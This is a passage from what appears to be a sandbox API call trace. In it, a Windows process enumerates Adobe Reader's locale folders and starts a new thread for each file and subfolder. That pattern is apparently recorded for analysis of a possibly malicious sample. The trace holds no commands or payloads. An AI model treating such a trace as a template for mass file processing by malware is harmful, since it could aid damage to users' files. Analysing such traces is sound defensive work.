10.0\\Reader\\Locale\\de_DE" [0240.847] wcscat (in: _Dest=0x431c6480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.847] wcscat (in: _Dest=0x431c6480, _Source="PPKLITE.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\PPKLITE.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\PPKLITE.DEU" [0240.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c6480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26f0 [0240.849] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7de2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.DEU", cAlternateFileName="")) returned 1 [0240.849] wcscmp (_String1="RdLang32.DEU", _String2=".") returned 1 [0240.849] wcscmp (_String1="RdLang32.DEU", _String2="..") returned 1 [0240.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c4900 [0240.849] wcscpy (in: _Dest=0x431c4900, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.849] wcscat (in: _Dest=0x431c4900, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.849] wcscat (in: _Dest=0x431c4900, _Source="RdLang32.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\RdLang32.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\RdLang32.DEU" [0240.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c4900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26ec [0240.850] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.DEU", cAlternateFileName="READOU~1.DEU")) returned 1 [0240.850] wcscmp (_String1="ReadOutLoud.DEU", _String2=".") returned 1 [0240.850] wcscmp (_String1="ReadOutLoud.DEU", _String2="..") returned 1 [0240.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43145d20 [0240.850] wcscpy (in: _Dest=0x43145d20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.850] wcscat (in: _Dest=0x43145d20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.850] wcscat (in: _Dest=0x43145d20, _Source="ReadOutLoud.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\ReadOutLoud.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\ReadOutLoud.DEU" [0240.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43145d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26e8 [0240.851] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.DEU", cAlternateFileName="")) returned 1 [0240.851] wcscmp (_String1="reflow.DEU", _String2=".") returned 1 [0240.851] wcscmp (_String1="reflow.DEU", _String2="..") returned 1 [0240.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431c4a40 [0240.851] wcscpy (in: _Dest=0x431c4a40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.851] wcscat (in: _Dest=0x431c4a40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.851] wcscat (in: _Dest=0x431c4a40, _Source="reflow.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\reflow.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\reflow.DEU" [0240.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c4a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee4 [0240.852] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.DEU", cAlternateFileName="SAVEAS~1.DEU")) returned 1 [0240.852] wcscmp (_String1="SaveAsRTF.DEU", _String2=".") returned 1 [0240.852] wcscmp (_String1="SaveAsRTF.DEU", _String2="..") returned 1 [0240.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c49a0 [0240.852] wcscpy (in: _Dest=0x431c49a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.852] wcscat (in: _Dest=0x431c49a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.852] wcscat (in: _Dest=0x431c49a0, _Source="SaveAsRTF.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SaveAsRTF.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SaveAsRTF.DEU" [0240.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c49a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb2c [0240.853] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.DEU", cAlternateFileName="")) returned 1 [0240.853] wcscmp (_String1="Search.DEU", _String2=".") returned 1 [0240.853] wcscmp (_String1="Search.DEU", _String2="..") returned 1 [0240.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431c4ae0 [0240.853] wcscpy (in: _Dest=0x431c4ae0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.853] wcscat (in: _Dest=0x431c4ae0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.853] wcscat (in: _Dest=0x431c4ae0, _Source="Search.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Search.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Search.DEU" [0240.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c4ae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x136c [0240.854] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.deu", cAlternateFileName="")) returned 1 [0240.854] wcscmp (_String1="SendMail.deu", _String2=".") returned 1 [0240.854] wcscmp (_String1="SendMail.deu", _String2="..") returned 1 [0240.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c5d00 [0240.854] wcscpy (in: _Dest=0x431c5d00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.854] wcscat (in: _Dest=0x431c5d00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.854] wcscat (in: _Dest=0x431c5d00, _Source="SendMail.deu" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SendMail.deu") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SendMail.deu" [0240.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c5d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0 [0240.855] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0240.855] wcscmp (_String1="Services", _String2=".") returned 1 [0240.855] wcscmp (_String1="Services", _String2="..") returned 1 [0240.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431c5080 [0240.856] wcscpy (in: _Dest=0x431c5080, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.856] wcscat (in: _Dest=0x431c5080, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.856] wcscat (in: _Dest=0x431c5080, _Source="Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services" [0240.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431c5080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac [0240.856] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DEU", cAlternateFileName="")) returned 1 [0240.856] wcscmp (_String1="Spelling.DEU", _String2=".") returned 1 [0240.856] wcscmp (_String1="Spelling.DEU", _String2="..") returned 1 [0240.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c5120 [0240.857] wcscpy (in: _Dest=0x431c5120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.857] wcscat (in: _Dest=0x431c5120, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.857] wcscat (in: _Dest=0x431c5120, _Source="Spelling.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Spelling.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Spelling.DEU" [0240.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c5120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd6c [0240.857] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.DEU", cAlternateFileName="")) returned 1 [0240.858] wcscmp (_String1="updater.DEU", _String2=".") returned 1 [0240.858] wcscmp (_String1="updater.DEU", _String2="..") returned 1 [0240.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431c4720 [0240.858] wcscpy (in: _Dest=0x431c4720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.858] wcscat (in: _Dest=0x431c4720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.858] wcscat (in: _Dest=0x431c4720, _Source="updater.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\updater.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\updater.DEU" [0240.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c4720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3138 [0240.859] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DEU", cAlternateFileName="")) returned 1 [0240.859] wcscmp (_String1="Weblink.DEU", _String2=".") returned 1 [0240.859] wcscmp (_String1="Weblink.DEU", _String2="..") returned 1 [0240.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43198520 [0240.859] wcscpy (in: _Dest=0x43198520, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0240.859] wcscat (in: _Dest=0x43198520, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0240.859] wcscat (in: _Dest=0x43198520, _Source="Weblink.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Weblink.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Weblink.DEU" [0240.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43198520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0240.860] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DEU", cAlternateFileName="")) returned 0 [0240.860] FindClose (in: hFindFile=0x1cd9c430 | out: hFindFile=0x1cd9c430) returned 1 [0240.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b8e0) returned 1 [0240.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af220) returned 1 [0240.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c3d0) returned 1 [0240.864] FindNextFileW (in: hFindFile=0x1ced5f80, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0240.864] wcscmp (_String1="es_ES", _String2=".") returned 1 [0240.864] wcscmp (_String1="es_ES", _String2="..") returned 1 [0240.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4c3d0 [0240.865] wcscpy (in: _Dest=0x1cf4c3d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0240.865] wcscat (in: _Dest=0x1cf4c3d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0240.865] wcscat (in: _Dest=0x1cf4c3d0, _Source="es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0240.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cf4c3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2364 [0240.898] FindNextFileW (in: hFindFile=0x1ced5f80, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0240.898] wcscmp (_String1="eu_ES", _String2=".") returned 1 [0240.898] wcscmp (_String1="eu_ES", _String2="..") returned 1 [0240.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202af220 [0240.899] wcscpy (in: _Dest=0x202af220, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0240.899] wcscat (in: _Dest=0x202af220, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0240.899] wcscat (in: _Dest=0x202af220, _Source="eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0240.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202af220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa9c [0240.900] FindNextFileW (in: hFindFile=0x1ced5f80, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0240.900] wcscmp (_String1="fi_FI", _String2=".") returned 1 [0240.900] wcscmp (_String1="fi_FI", _String2="..") returned 1 [0240.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202aee30 [0240.902] wcscpy (in: _Dest=0x202aee30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0240.902] wcscat (in: _Dest=0x202aee30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0240.902] wcscat (in: _Dest=0x202aee30, _Source="fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0240.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202aee30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0240.903] FindNextFileW (in: hFindFile=0x1ced5f80, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0240.903] wcscmp (_String1="fr_FR", _String2=".") returned 1 [0240.903] wcscmp (_String1="fr_FR", _String2="..") returned 1 [0240.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202aed10 [0240.904] wcscpy (in: _Dest=0x202aed10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0240.904] wcscat (in: _Dest=0x202aed10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0240.904] wcscat (in: 